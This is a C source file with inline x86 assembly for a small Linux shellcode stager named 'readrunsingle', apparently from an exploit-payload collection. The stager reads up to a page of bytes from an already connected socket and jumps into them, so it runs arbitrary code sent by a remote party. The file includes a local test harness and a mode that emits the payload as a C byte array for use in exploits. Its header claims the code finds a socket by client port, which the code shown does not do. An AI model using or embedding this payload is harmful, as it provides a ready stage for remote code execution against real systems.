/*
 * Tries to find a socket based on a client port.
 *
 * Usage
 *
 *    $ ./x86-readrunsingle 
 *    Usage: ./x86-readrunsingle [test | cstyle]
 *
 *    To test the payload
 *
 *    shell1$ ./x86-readrunsingle test
 *    shell2$ perl -e 'print "\xcc"' | nc 127.0.0.1 4444
 *
 *    To generate c-styled shellcode:
 *
 *    $ ./x86-readrunsingle cstyle
 *
 * Features
 *
 *    * No NULLs
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this payload is used.
 *
 * skape
 * mmiller@hick.org
 */
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>

void readrunsingle_begin();
void readrunsingle_end();

#define DEFAULT_PORT      4444
#define PORT_OFFSET       0x24
#define SET_PORT(sc, val) *((unsigned short *)((sc) + PORT_OFFSET)) = val

__asm__("
readrunsingle_begin:
	xor  %eax, %eax
	xor  %edi, %edi
readrunsingle_read:
	inc  %eax              # increment eax to one
	shl  $0x0d, %eax       # shift right 13 bits to become 8192
	sub  %eax, %esp        # allocate a page of space to store the stub
	push %eax              # push the buffer length
	push %esp              # push the buffer, overwrites len too
	push %esi              # push the current fd
	lea  102(%edi), %eax   # set eax to __NR_socketcall
	lea  10(%edi), %ebx    # set ebx to SYS_RECV
	mov  %esp, %ecx        # set ecx to arguments
	int  $0x80             # interrupt
	add  $0x08, %esp       # restore 8 bytes to the stack
readrunsingle_jmp:
	jmp  *%esp             # jmp into the code
	

readrunsingle_end:
");

int main(int argc, char **argv)
{
	unsigned char *start = (unsigned char *)((unsigned char *)readrunsingle_begin);
	unsigned char *stop  = (unsigned char *)((unsigned char *)readrunsingle_end);
	unsigned char *copy;
	int length;

	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	length = stop - start;

	if (!(copy = (unsigned char *)malloc(length)))
	{
		printf("allocation failed\n");
		return 0;
	}

	memcpy(copy, start, length);

	if (!strcmp(argv[1], "test"))
	{
		struct sockaddr_in s;
		int sfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP), cfd;
		int clen = sizeof(s), on = 1;

		s.sin_family      = AF_INET;
		s.sin_port        = htons(DEFAULT_PORT);
		s.sin_addr.s_addr = INADDR_ANY;

		setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));

		if (bind(sfd, (struct sockaddr *)&s, sizeof(s)) < 0)
		{
			perror("bind");
			return 0;
		}

		if (listen(sfd, 1) < 0)
		{
			perror("listen");
			return 0;
		}

		if ((cfd = accept(sfd, NULL, NULL)) < 0)
		{
			perror("accept");
			return 0;
		}

		if (getpeername(cfd, (struct sockaddr *)&s, &clen) < 0)
		{
			perror("getpeername");
			return 0;
		}

		printf("client fd is %d\n", cfd);

		SET_PORT(copy, s.sin_port);

		__asm__("mov %0, %%esi" : : "m"((long)cfd) : "esi");

		((int (*)())copy)();
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		int x;

		fprintf(stdout, "// %lu byte readrunsingle shellcode\n\n", length);
		fprintf(stdout, "unsigned char readrunsingle[] = \"");

		for (x = 0;
		     x < length;
		     x++)
			fprintf(stdout, "\\x%2.2x", copy[x]);

		fprintf(stdout, "\";\n\n");

		free(copy);
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
